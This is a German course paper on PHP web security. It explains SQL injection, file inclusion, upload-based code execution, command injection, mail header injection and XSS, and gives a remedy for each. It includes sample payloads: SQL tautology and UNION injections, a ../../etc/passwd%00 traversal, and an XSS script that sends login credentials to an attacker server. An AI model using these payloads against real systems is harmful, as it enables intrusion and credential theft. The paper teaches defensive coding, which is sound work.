Grundlagen Sicherheit der Web- Programmierung mit dem Schwerpunkt PHP

Transkript

1 Grundlagen Sicherheit der Web- Programmierung mit dem Schwerpunkt PHP Version 0.1, Stand Für das Modul Internet-Programmierung der Beuth Hochschule für Technik Berlin im Online-Studiengang Medieninformatik (Bachelor) bei Herrn Prof. Dr. Gers. Von Tobias Ferdinand tobias-ferdinand.net

2 Inhaltsverzeichnis Vorwort... 3 SQL-Injection... 3 Remote File Inclusion... 6 Local File Inclusion... 7 Code Inclusion über File-Uploads... 8 Remote Command Execution... 9 Spam-Relay über die mail()-funktion Scripting durch Cross-Site-Scripting (XSS) Allgemeine Tipps zum Schreiben von sicherem PHP-Code Allgemeine Tipps bei Webanwendungen Über dieses Dokument... 14

3 Vorwort Das folgende Dokument zeigt häufig gemachte Fehler bei der Programmierung von interaktiven Webseiten auf, die zu Sicherheitslücken, entweder auf der Server- oder auf der Clientseite führen. Dabei wird speziell auf Fehler im Zusammenhang mit der Scriptsprache PHP eingegangen. Jedoch finden sich viele dieser Sicherheitslücken auch in anderen Sprachen, die für die Internetprogrammierung benutzt werden, wieder. Es sollen nur die Grundlagen vermittelt werden obligatorisch wird darauf hingewiesen, dass dieses Dokument natürlich keinen Anspruch auf Vollständigkeit erhebt. Des Weiteren soll dieses Dokument keine Anleitung zum Ausspähen von Nutzerdaten oder für den illegalen Zugriff auf Serversysteme darstellen. Es soll dem Webprogrammierer aufzeigen, welche Möglichkeiten ein Angreifer durch fehlerhaften Code erhält. Außerdem wird nicht auf Fehler im PHP-Code selbst eingegangen. Da der Webprogrammierer mitunter keinen Einfluss darauf hat, bleibt dazu nur zu sagen, dass stets darauf geachtet werden sollte, dass eine aktuelle Version von PHP verwendet wird. Wer einen kleinen Einblick in bisherige Fehler in PHP selbst gewinnen möchte, kann sich entsprechende Sicherheits-Meldungen unter ansehen. SQL-Injection Unter SQL-Injection versteht man das Einschleusen von SQL-Befehlen oder das Verändern von SQL-Statements über entsprechende Anwendungen, die auf eine SQL-Datenbank zugreifen. So können Anwendungen, die entsprechende SQL- Injection-Schwachstellen aufweisen, zum Beispiel dazu benutzt werden, um Daten anzuzeigen, die nicht für die Anzeige bestimmt sind, oder es können Daten sogar verändert oder gelöscht werden, die eigentlich nicht von dem Anwender verändert oder gelöscht werden sollen/dürfen. Möglich gemacht werden die SQL-Injections dadurch, dass Benutzereingaben ungefiltert an einen SQL-Query übergeben werden. Beispiele: 1. Beispiel Durch ein SQL-Statement soll geprüft werden, ob ein Benutzername mit dem angegebenen Passwort in der Datenbank existiert. Existiert ein entsprechender Benutzer, ist er eingeloggt und er erhält Zugriff auf entsprechende (sensible) Daten. $str_sql = "SELECT `id` FROM `user` WHERE `user` = '".$_POST['user']."' AND `password` = '".md5($_post['password'])."'"; $_POST['user'] ist in dem Fall der Benutzername, der ungefiltert in den SQL- String übergeben wird. Enthält der String nur Daten, die man in einem Benutzernamen erwartet, als etwa Groß- und Kleinbuchstaben, Zahlen und ggf. noch Binde- oder Unterstriche, funktioniert der Login wie erwartet. Es kommt nicht zu einem Fehler.

4 Der entsprechende SQL-String für den Benutzernamen Hans mit dem Passwort test sieht dann so aus: SELECT `id` FROM `user` WHERE `user` = 'Hans' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Jedoch kommt es bereits zu Fehlern, wenn ein Benutzer ein Hochkomma in seinem Benutzernamen benutzt, oder aus versehen eines angibt. Gibt er statt Hans den Benutzernamen Hans an, sieht das SQL-Statement wie folgt aus: SELECT `id` FROM `user` WHERE `user` = 'Hans'' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Wird die SQL-Fehlermeldung nicht über den Browser ausgegeben, merkt der Benutzer davon zwar nichts das SQL-Statement ist fehlerhaft wodurch kein entsprechender Benutzer gefunden wurde. Wird jedoch eine entsprechende Fehlermeldung ausgegeben, oder ist jemand gezielt auf der Suche nach entsprechenden Lücken, könnte er auf die Idee kommen, etwa als Benutzername auch Hans' OR '1'='1 einzugeben. Das Statement sieht dann so aus: SELECT `id` FROM `user` WHERE `user` = 'Hans' OR '1'='1' AND `password` = '098f6bcd4621d373cade4e832627b4f6' In diesem Fall ist das Passwort und auch der Benutzername egal sofern ein Datensatz in der Datenbank vorhanden ist, wird auf jeden Fall ein Benutzer gefunden, denn 1=1 ist immer wahr. Abhilfe: Damit SQL-Injections verhindert werden, muss die Benutzereingabe escaped werden. Das heißt, dass entsprechende Zeichen, die in die Struktur des SQL-Statements eingreifen, durch andere Zeichen ungültig gemacht werden. Bei PHP/Mysql empfiehlt sich der Einsatz von mysql_escape_string() bzw. mysql_real_escape_string(). Letzterem kann eine Verbindungskennung mitgegeben werden, sodass der Zeichensatz einer Verbindung mit berücksichtigt wird. Diese Funktion escaped die Zeichen \x00, \n, \r, \, ', " und \x1a. Sie stellt den entsprechenden Zeichen einen Backslash \ voran, wodurch diese Zeichen durch SQL wie normale Zeichen interpretiert werden. Das SQL-Statement aus dem letzten Beispiel würde dann folgendermaßen aussehen: SELECT `id` FROM `user` WHERE `user` = 'Hans\' OR \'1\'=\'1' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Und der Benutzer Hans\' OR \'1\'=\'1 wird sicherlich nicht in der Datenbank gefunden. Und wenn es den Benutzer doch geben sollte, stellt es trotzdem kein Sicherheitsrisiko mehr dar. Anmerkung: Sicherlich taucht jetzt die Frage auf, ob das Passwort nicht auch ungeprüft in den SQL-String übergeben wurde. Ein klares Jein wäre hier die Antwort. Das Passwort ist in unserem Fall als md5-string in der Datenbank gespeichert durch die Hashfunktion kann das Passwort bei unbefugten Zurgiffen nicht so einfach ausgelesen und z.b. einer Adresse zugeordnet werden. Da in dem SQL-Statement das vom Benutzer eingegebene Passwort zuerst durch PHP in den md5-wert umgewandelt wird, dürften sich in dem String

5 keine für mysql relevanten Zeichen befinden, denn der md5-hash besteht nur aus den Zahlen 0-9 und a-f (Hexadezimalzahl). Wird jedoch nicht die md5-funktion von PHP, sondern von mysql benutzt, muss das Passwort vorher escaped werden. Es macht jedoch auch nichts aus, einen md5-hash nochmals mit mysql_real_escape_string() zu escapen. Hier gilt die Regel, lieber einen String unnötig escapen, als einen String gar nicht zu escapen. Der Performance-Verlust sollte sich in Grenzen halten. 2. Beispiel Bei dem zweiten Beispiel nehmen wir an, dass die Anwendung für jeden Benutzer weitere Datensätze in einer anderen Tabelle bereithält. Das können zum Beispiel Adressen sein, die er sich angelegt hat und die er wieder anzeigen lassen kann. Das SQL-Statement dazu könnte wie folgt aussehen: SELECT * FROM `address` WHERE `address`.`id` = '.$_GET[ id ].' AND `address`.`user_id` = '.$_SESSION[ user_id ] $_GET[ id ] ist wieder die Benutzereingabe der ID, die angefordert wird. Für unser Beispiel natürlich wieder unescaped, was zu fatalen Folgen führen kann. In unserem Fall wird als ID natürlich eine Zahl erwartet aufgrund unseres Datenbankdesigns können wir sogar konkret sagen, dass ein Integer erwartet wird. Der ungebetene Gast könnte aber wiederum auf die Idee kommen, folgendes zu übergeben: 4 UNION (SELECT,, password FROM user) Das vollständige SQL-Statement sieht dann wie folgt aus: SELECT * FROM `address` WHERE `address`.`id` = 4 UNION (SELECT,, password FROM user) AND `address`.`user_id` = '.$_SESSION[ user_id ] Dadurch fragt das SQL-Statement nicht nur den Adressdatensatz ab, sondern auch ein Passwort aus der user-datenbank. Natürlich kann das Union-Statement entsprechend erweitert werden, damit das Passwort eines bestimmten Benutzers angezeigt wird. Übrigens würde sich an dieser Stelle positiv bemerkbar machen, dass wir die Passwörter nur als md5-hash in der Datenbank gespeichert haben, und nicht im Klartext. Dennoch könnte ein Passwort, dass einfach per md5-hash gespeichert wird, über eine Bruteforce-Attacke ausgelesen werden. Noch sicherer ist das Passwort, wenn es mit Hilfe eines Salts gehasht wird. Achtung: In diesem Beispiel wird kein String an das SQL-Statement übergeben, sondern ein Integer. Entsprechend befinden sich um den Wert der Variablen auch keine einfachen Anführungszeichen. Es würde also nichts nutzen, die

6 Benutzereingabe zu escapen. Die Escape-Funktion escaped auch keine SQL- Befehle, sondern nur die oben genannten Zeichen. Daher muss in diesem Fall dafür gesorgt werden, dass die Benutzereingabe eines Integers auch wirklich ein Integer ist. Eine Lösung wäre, die Benutzereingabe nach einem Integer zu casten: $var = (int) $_GET[ id ]; Weitere Möglichkeiten wären, die Benutzereingabe vor Übergabe an das SQL- Statement mit regulären Ausdrücken zu prüfen, Funktionen wie intval() zu benutzen oder der Einsatz der PHP-Erweiterung Filter. Weitere Möglichkeiten : Bei den beiden Beispielen handelte es sich um SELECT-Statements. Diese werden dazu benutzt, Daten aus der Datenbank auszulesen. Aber natürlich kommt es auch vor, dass INSERT-/UPDATE oder gar DELETE-Statements mit Usereingaben kombiniert werden. Etwa, wenn es dem Benutzer erlaubt werden soll, seine Persönlichen Daten auf einer Website zu ändern, oder wenn er einen angelegten Datensatz löschen kann. Ist ein solches UPDATE- oder DELETE-Statement für SQL-Injection anfällig, kann die Gefahr bestehen, dass der Benutzer auch Daten verändern oder löschen kann, auf die er eigentlich keinen Zugriff hat. Bei einem DELETE * FROM addresses WHERE id=$_get[ id ] AND user_id=$_cookie[ user_id ] wäre es dem Benutzer beispielsweise möglich, auch gleich die komplette addresses-datenbank zu leeren. Remote File Inclusion Unter Remote File Inclusion versteht man das nachladen und ausführen von (PHP-) Code von einem externen Server. Es sei dazu gesagt, dass bei der Default-Konfiguration eines aktuellen PHP-Packages die Möglichkeit der Remote-File-Inclusion nicht mehr gegeben ist. In früheren Versionen gab es jedoch über die Konfigurationdatei php.ini keine Einstellung, um das nachladen und Ausführen von externem Code auszuschalten und somit musste damals zwingend im geschriebenen Code dafür gesorgt werden, dass eine entsprechende Lücke nicht besteht. Jedoch kann es durch eine fehlerhafte Serverkonfiguration, oder um Abwärtskompatibilität zu gewährleisten, durchaus vorkommen, dass die php.ini- Einstellungsvariable allow_url_include auf on steht. Dann ist es durchaus sinnvoll, wenn der Code keine Anfälligkeiten für remote-file- Inclusion enthält. Beispiel: Eine Webseite ist so aufgebaut, dass über die URL die entsprechende Seite übergeben wird. Z.B. Der dazugehörige Code könnte so aussehen: <?php include 'header.inc.php'; include $_GET['page'].'.inc.php'; include footer.inc.php';?>

7 Nun könnte der Angreifer auf die Idee kommen, die übergebene Page-Variable zu verändern, z.b. in page= Die Datei bad_script.txt kann nun PHP-Code enthalten, der von dem anderen Webserver als Text ausgegeben wird. Der eigene PHP-Code included nun das externe Script und führt es auf dem eigenen Server aus. Der externe Code könnte nun alles Mögliche enthalten. Um auszuspähen, welche Servereinstellungen auf dem Server sind, bietet sich z.b. die Funktion phpinfo() an. Aber natürlich können auch Dateien auf dem Server ausgelesen, gelöscht oder erstellt werden. Es kann ein Socket geöffnet werden, der weitere Kommunikation zulässt oder es kann Software nachgeladen werden, die im nächsten Schritt die Installation eines Rootkits ermöglicht. Über die mail()-funktion kann beliebig Spam über den Server verschickt werden. Besonders zu beachten ist das Fragezeichen am Ende der übergebenen page-seite. Dadurch wird alles, was in der include-funktion angehangen wird (in diesem Fall.inc.php) auf dem externen Server als GET-String angehangen. Dadurch muss der Angreifer nicht darauf achten, wie er sein Script auf seinem Server nennt. Lösungen: Als Lösung ist es zum Beispiel möglich, http, https, ftp, Sonderzeichen und/oder Slashes aus der übergebenen Variable zu filtern. Wer auf Nummer sicher gehen will, schreibt den Code aber gleich so, dass es gar nicht vorkommen kann, dass Dateien included werden können, die nicht dafür vorgesehen sind, zum Beispiel durch den Abgleich eines Arrays mit erlaubten Werten oder einem switch/case-konstrukt. Anfällige Funktionen: Wenn die Voraussetzungen erfüllt sind, und die entsprechende php.ini-einstellung gesetzt ist, ermöglichen die Befehle include, include_once, require und require_once die Remote-File-Inclusion. Aber auch ohne diese Einstellung kann es einem Programmierer passieren, eine solche Lücke (aus Unwissenheit?) einzubauen. Zum Beispiel über eval(get_file_contents($_get[ page ])); Das sollte natürlich ebenso vermieden werden. Local File Inclusion Nicht viel harmloser ist die Local File Inclusion, auch wenn der Angreifer damit nicht unmittelbar beliebigen Code ausführen kann. Bei der Local File Inclusion geht es wieder um die gleichen Funktionen wie bei der Remote File Inclusion, nämlich include, include_once, require und require_once. Damit ist es nicht möglich, Code von fremden Server nachzuladen, aber eben Code, der sich bereits auf dem Server befindet. Beispiel: Wir erweitern das Beispiel von eben, sodass es auf den ersten Blick sicher aussieht:

8 <?php include '_include/header.inc.php'; include '_include/'.$_get['page'].'.inc.php'; include '_include/footer.inc.php';?> Wieder kann man über die URL die page-variable beliebig füllen und es macht den Anschein, als ob eine Datei, die included werden soll, sich in dem Ordner _include/ befinden muss und auf.inc.php enden muss. Es macht aber eben nur den Anschein. Denn über den Einsatz von../ in der Variablen kann man beliebig weit nach oben in der Ordnerhierarchie navigieren. Und über das Nullbyte (Url-Encoded %00) wird der hintere Teil des Strings quasi abgeschnitten. Liegt unser Script unter /home/pages/ kann somit über die Page-Variable page=../../etc/passwd%00 einfach die passwd-datei eines Linuxsystems angezeigt werden. Befindet sich auf dem Server bösartiger Code, der zum Beispiel über ein Fileupload hochgeladen wurde (siehe unten), kann der Code entsprechend ausgeführt werden. Achtung: Zusätzlich zu den oben genannten Funktionen können auch weitere Funktionen ungewollt Inhalte von Dateien auf dem Server preisgeben. So zum Beispiel readfile() und file_get_contents(). Diese können auch dazu benutzt werden, z.b. /etc/passwd auszugeben. Im Zusammenhang mit eval() kann der Code wiederum ausgeführt werden. Lösung: Wie bei der Remote-File-Inclusion könnte die Usereingabe auf Sonderzeichen geprüft werden. Aber auch hier ist es natürlich am sichersten nur entsprechende Usereingaben zuzulassen, die entsprechend definiert wurden (switch/case). Code Inclusion über File-Uploads Besonders vorsichtig sollte man sein, wenn man Benutzern erlaubt, Dateien auf einen Server zu laden. Zumeist wird diese Funktionalität benutzt, um Bilder oder Dokumente auf einen Server laden zu lassen. So einfach ein Upload in PHP realisiert werden kann, so gefährlich kann diese Funktionalität werden. Man sollte sehr vorsichtig sein, wenn man die hochgeladenen Bilder an einen über den Webserver zugängliches Verzeichnis verschiebt. Dann ist mindestens auf die Dateiendung zu achten. Gelingt es einem Benutzer, eine Datei mit der Dateiendung.php auf den Server zu laden, wird diese Datei natürlich auch wie eine PHP-Datei behandelt. Lädt ein Benutzer beispielsweise die Datei script.php, die PHP-Code enthält, auf den Server, und diese wird dann unter abgelegt, kann der Benutzer die Datei natürlich aufrufen und ausführen. Der Benutzer kann dann beliebigen PHP-Code in dem Script zur Ausführung auf Webserver einschleusen.

9 Natürlich gilt das für sämtliche Dateiendungen, die evtl. durch den Webserver interpretiert werden könnten, darunter auch andere serverseitige Scriptsprache (.pl,.jsp,.php5,.php4 etc.). Aber auch wenn die Datei nicht die Endung.php hat oder in einem nicht erreichbaren Verzeichnis gespeichert wird, könnte im Zusammenspiel mit der Local File Inclusion (siehe Oben) Code ausgeführt werden. Denn dem PHP-Befehl include ist egal, welche Dateiendung eine Datei hat. Es wird die Datei eingelesen und interpretiert, auch wenn sie bild.jpg heißen sollte. Auf der sicheren Seite ist man also, wenn man dafür sorgt, dass die Dateiendung nicht beliebig sein kann und der Inhalt der hochgeladenen Datei auf Korrektheit geprüft wird. PHP stellt beispielsweise Funktionen bereit, die erkennen, ob eine Datei Bilddaten enthält. Wird ein Bild erwartet, aber die Funktion erkennt keine Bilddaten, sollte die Datei direkt nach dem Upload wieder gelöscht werden. Remote Command Execution PHP stellt einige Funktionen bereit, um Befehle direkt im Linuxsystem auszuführen. Mit system() und exec(), um nur zwei zu nennen, ist es möglich, jeden beliebigen Unix-Befehl, oder jedes Programm (sofern Ausführungsrechte vorhanden sind), das sich auf dem Server befindet, auszuführen. Gerne werden solche Funktionen dazu benutzt, um einem Benutzer zum Beispiel einen traceroute zu einem bestimmten Host anzuzeigen, oder per curl Dateien herunterzuladen. Aber natürlich sollten auch hier keine ungeprüften Benutzereingaben an die Shell weitergereicht werden. Beispiel: Über die URL showtrace.php?host=host.xy Soll dem Benutzer die Route zu einem Server angezeigt werden. <?php system('traceroute '.$_GET['host']);?> Auch hier kann der Angreifer wieder weitaus mehr machen, als dem Serverbetreiber lieb ist. Gibt er zum Beispiel host= an, wird ihm nicht nur die Route zum Server angezeigt, sondern auch gleich die Datei /etc/passwd des Servers auf dem das Script läuft. Auch hier sind die Möglichkeiten fast grenzenlos. So kann auch wieder Code nachgeladen und ausgeführt werden. Einen Rootkit auf den Server zu laden und auszuführen oder einen Socket zu öffnen stellt damit kein Problem mehr dar. Lösung: An die Shell übergebene Befehle sollten mit escapeshellarg() maskiert werden. Das verhindert, dass weitere Befehle übergeben werden können.

10 Sollte es einmal vorkommen, dass ein Befehl über eine Benutzereingabe ausgewählt werden soll, hält PHP außerdem die Funktion escapeshellcmd() bereit. Jedoch sollte man sich gut überlegen, ob man einem Benutzer überhaupt die Möglichkeit gibt, einen Befehl selbst auszuwählen. Spam-Relay über die mail()-funktion Viele Webseitenbetreiber stellen den Websurfern ein Kontaktformular zur Verfügung. Gefühlte 99% aller PHP-Anfänger wollen als erstes ein Kontaktformular mit der PHP-Funktion mail() realisieren. Auch das ist wieder sehr einfach. Über <?php mail( $_GET[ betreff ], $_GET[ nachricht ]);?> hat man bereits den serverseitigen Teil der nötig ist um die Felder eines Kontaktformular per zu verschicken. Die die bei dem Webseitenbetreiber ankommt hat als Absenderadresse jedoch die Standard- adresse des Webservers. Um dem Benutzer zu ermöglichen seine eigene Adresse anzugeben, bietet sich der 4. Parameter der Funktion an. Allerdings übergibt man darüber nicht die Absenderadresse, sondern weitere Mail- Header, die in der enthalten sein sollen. Die Gefahr besteht nun darin, dass man auf die Idee kommen könnte, folgenden Header zu übergeben: $header = From:.$_GET[ from_ ]; Denn mit der Übergabe eines ungeprüften Strings in die Additional-Headers erlaubt man dem Benutzer auch beliebige weitere Header anzugeben. Durch Eingabe von mail@adresse.xy\r\ncc: neueadresse@adresse.xy Kann der Benutzer erreichen, dass seine nicht nur an den in der Funktion angegebenen Empfänger versendet wird, sondern auch noch ein eine dritte Person. Natürlich könnte er nun quasi beliebig viele weitere Empfänger angeben und diesen Spam über den Webserver zusenden. Grenzen sind quasi nur über die Anzahl möglicher Zeichen im GET-String gesetzt. Lösung: Die perfekte Lösung wäre, eine adresse auf Validität oder gar auf Gültigkeit/Existenz zu prüfen. Das ist, auch mit regulären Ausdrücken nicht trivial, letzteres gar unmöglich. Hier sollte man sich nach entsprechenden Funktionen umsehen, die diese Aufgabe übernehmen. Am wichtigsten ist jedoch, dass in der Absenderadresse keine Zeilenumbrüche (\r und \n) übergeben werden. Am sichersten ist, diese z.b. über str_replace zu ersetzen. Auch bei extern übernommenem Code sollte überprüft werden, ob diese Steuerzeichen ersetzt werden. Achtung: Auch bei den sonstigen übergebenen Variablen sollte man sich nicht zu sicher sein. Zwar sollten die Werte, die über $to und $subject übergeben werden, von PHP geprüft werden, in den PHP Versionen und (vgl. ist es jedoch schon vorgekommen, dass durch einen fehlerhaften regulären Ausdruck im PHP-Code die genannten Steuerzeichen nicht rausgefiltert wurden. Es kann also nie schaden, Zeichen die Schaden anrichten könnten, lieber einmal zu viel, als einmal zu wenig zu entfernen.

11 Scripting durch Cross-Site-Scripting (XSS) Eine häufige Fehlerquelle auf Webseiten ist das sogenannte Cross-Site-Scripting, kurz XSS. Hierbei geht es jedoch, im Gegensatz zu den bisher angesprochenen Schwachstellen nicht darum, Code oder Dateien auf dem Server auszuführen, oder Spam über den Webserver zu versenden. Vielmehr handelt es sich um eine Schwachstelle, bei dem (Java)-Script-Code auf dem Client ausgeführt wird. Über XSS-Lücken sorgt ein Angreifer dafür, dass eingeschleuster JavaScript-Code im Webbrowser einer dritten Person ausgeführt wird. Dadurch wird das Sicherheitskonzept der Browser im Zusammenhang mit JavaScript umgangen. Dieses Konzept ist so angelegt, dass JavaScript-Funktionen, die über die Domain auch nur auf Daten zugreifen dürfen, die im Zusammenhang mit der Domain bestehen. Zum Beispiel darf ein Cookie, das über gesetzt wurde, auch nur über diese Domain abgerufen werden. Die Webseite hat keinen Zugriff auf die Cookies, die über gesetzt wurden. Auch Ajax-Requests dürfen nur an die gleiche Domain gesendet werden. Gelingt es nun jedoch einem Angreifer, Javascript-Code auf der Domain einzuschleusen, hat er mit Hilfe seines eingeschleusten Codes unter Umständen auch die Möglichkeit, auf diese Cookies zuzugreifen. Gefahren durch XSS bestehen vornehmlich auf Webseiten, bei denen Cookies für eine Benutzerauthentifizierung abgelegt werden (auch die Session-ID einer Session wird als Cookie bei dem Client abgelegt) oder durch weitere Aufrufe z.b. Nachrichten auf Social Networks versendet werden können. Aber auch Webseiten, auf denen sensible Daten eingegeben werden könnten (dazu gehört auch eine Adresse und ein Passwort bei einer Anmeldung auf einer Webseite) und für den Benutzer vertrauenswürdig aussehen, könnten Gefahren darstellen. Beispiel: Als Beispiel stellen wir uns ein Social Network vor, bei dem man sich anmelden kann. Ist auf der Anmeldeseite die Möglichkeit von XSS gegeben, zum Beispiel durch die ungefilterte Ausgabe einer GET-Variablen, z.b. echo GET[ name ], kann Code eingeschleust werden. Eine Person, die Lücke ausnutzen möchte, setzt nun z.b. folgenden Link auf seine Webseite: <a href= src= ></script> Das Script, das vom Server des Angreifers geladen wird, läuft nun im Kontext der Domain ab. Damit kann in dem script.js nun auf die Eingaben, z.b. der adresse und des Passworts auf der Anmeldeseite zugregriffen werden. Damit der Angreifer diese Daten nun erhält, fügt das Script ein unsichtbares Bild in die Webseite anmeldung.php ein, z.b.: document.write( <img src= +document.getelementbyid( username )+ &password= +document.getelementbyid( password )+ />

12 Damit kann der Angreifer, z.b. über die Logfiles seines Server entsprechende - /Passwortkombinationen sehen. Da die Gefahr solcher Lücken besteht, und der Benutzer davon quasi nichts mitbekommt und sich darauf verlassen muss, dass der Webseitenbetreiber solche Lücken ausschließt, sei noch mal darauf hingewiesen, dass man für verschiedene Webseiten, und insbesondere die -Adresse verschiedene Passwörter wählen sollte! Lösung: Einer der häufigsten Fehler ist es, zu denken, dass Javascript-Code stets über <script>-tags eingeschleust wird. Unerfahrene Internetprogrammierer benutzen Konstrukte wie echo strip_tags($_get[ name ]); und gehen davon aus, dass die Gefahr gebannt ist, da keine eingegebenen HTML-Tags mehr ausgegeben werden. Allerdings besteht innerhalb eines Formularfelds dann immer noch eine Lücke. Durch ein Feld: <input type= text name= name value= <?php echo strip_tags($_get[ name ]);?> /> kann immer noch folgendermaßen Code eingeschleust werden:?name= onclick= SCRIPT-Code Zwar handelt es sich nur um ein Onclick-Event, aber es ist doch recht wahrscheinlich, dass ein Benutzer in das Name-Feld eines Anmeldeformulars klickt und somit der eingeschleuste Code ausgeführt wird. Auf der sicheren Seite ist man, wenn man übergebene Daten einfach so darstellt, wie sie übergeben werden, also Sonderzeichen in HTML-Zeichen konvertiert. In PHP bietet sich dafür die Funktion htmlentities($_get[ name ], ENT_QUOTES) an. Somit werden sämtliche Sonderzeichen in HTML dargestellt. Die als zweiter Parameter übergebene Konstante ENT_QUOTES sorgt dafür, dass auch einfache Anführungszeichen (Single-Quotes) in HTML kodiert werden. Beispielsweise wird aus einem Anführungszeichen dann das HTML-Zeichen " im Quelltext der Seite. Es wird nun nicht mehr als Teil eines Formularfeldes angesehen, sondern nur noch als Anführungszeichen auf dem Bildschirm angezeigt. Achtung: In älteren PHP-Versionen gibt es eine XSS-Lücke in der PHP-Funktion phpinfo();. Diese Funktion gibt PHP-Spezifische Einstellungen aus und wird oft mal auf einem Server abgelegt, um Einstellungen anzusehen. Bei Recherchen über XSS-Lücken im Internet habe ich beispielsweise Server gefunden, bei denen solch eine alte PHP-Version benutzt wurde und eine info.php mit der Ausgabe der phpinfo()-funktion existierte. Auf der gleichen Domain war auch ein Webmailsystem installiert. Natürlich stehen die beiden Sachen nicht in direktem Zusammenhang, aber nun ist es zum Beispiel denkbar, dass eine , die über das Webinterface abgerufen wird, wiederum auf diese info.php-datei verweisen könnte und z.b. das Cookie der PHP-Session an einen Angreifer sendet. Somit hätte der Angreifer Zugriff auf die Mail-Adresse des Opfers. Es ist also darauf zu achten, dass keine Datei mit einer XSS-Lücke auf einer Domain existiert, damit derartige Angriffsszenarien ausgeschlossen werden können.

13 Allgemeine Tipps zum Schreiben von sicherem PHP- Code Um sicheren PHP-Code zu schreiben, sollte man einige Dinge beachten. Sicherlich kann man nie ausschließen, dass man nicht doch einmal eine Kleinigkeit vergisst, aber folgende Tipps tragen zumindest dazu bei, die Anzahl der Schwachstellen zu minimieren. 1. error_reporting auf E_ALL setzen und display_errors auf einem Entwicklungsserver einschalten. Damit werden alle Fehler, auch Notices, angezeigt. Das hilft zum Beispiel, Variablen zu erkennen, die ausgegeben werden, obwohl sie nicht (im Code) gesetzt wurden. Auf einem Live-Server sollten die Fehler allerdings nicht ausgegeben werden, da sie, sofern sich Fehler in dem Code befinden, einem Angreifer Aufschluss über diese Fehler geben könnten. 2. Nicht darauf verlassen, dass die Servereinstellungen schon sicher sein werden. Natürlich könnte man davon ausgehen, dass register_globals abgeschaltet sind, oder ein open_basedir gesetzt ist. Wer sicheren PHP-Code schreibt, muss aber diese Einstellung nicht fürchten. 3. Trotzdem kann es natürlich nicht schaden, wenn man auch die php.ini- Einstellungen kontrolliert und diese sinnvoll einstellt. 4. Sicherheits-Addons wie mod_security oder suhosin, die quasi zwischen den Apache und das PHP-Modul geschaltet werden können eine sinnvolle Ergänzung sein, um noch ein Stück mehr an Sicherheit zu gewinnen man sollte sich aber nicht darauf verlassen, dass diese Tools mit 1005iger Sicherheit dafür sorgen, dass eine Webanwendung sicher wird. 5. Durch externe Sicherheitstesttools, wie z.b. den Chorizzo-Scanner kann die eigene Webanwendung auf mögliche Sicherheitslücken getestet werden. Aber natürlich findet solch ein Blackboxtest nicht alle Sicherheitslücken. Allgemeine Tipps bei Webanwendungen Auch folgende Tipps sollten stets beachtet werden. Sie sind auch häufige Fehler, die zu erfolgreichen Angriffen geführt haben. 1. Keine Backups auf dem öffentlich zugänglichen Bereich eines Webserver ablegen! 2. Keine SQL-Dumps im öffentlich zugänglichen Bereich des Webservers ablegen 3. Keine Fehlerausgabe auf dem Live-System 4. Keine unnötigen Dateien mit unnötigen Funktionsaufrufen auf dem Livesystem herumliegen lassen 5. Auch Fremdsoftware (und sei es nur ein Wordpress-Template) sollte auf mögliche Sicherheitslücken geprüft werden, insbesondere wenn es auf dem gleichen Webserver oder auf der gleichen Domain, wie ein Webprojekt mit sensiblen Daten/Logins liegt. Im Zweifel sollte diese Fremdsoftware separat gehostet werden.

14 Über dieses Dokument Dieses Dokument kann kostenlos weitergegeben und vervielfältigt werden. Die Informationen über den Autor und die Quelle des Originaldokuments darf dabei nicht entfernt werden. Sonstige Änderungen am Dokument sind gut sichtbar kenntlich zu machen. Anmerkungen, Verbesserungsvorschläge und Fragen können gerne an gerichtet werden. Die neueste Version dieses Dokuments befindet sich unter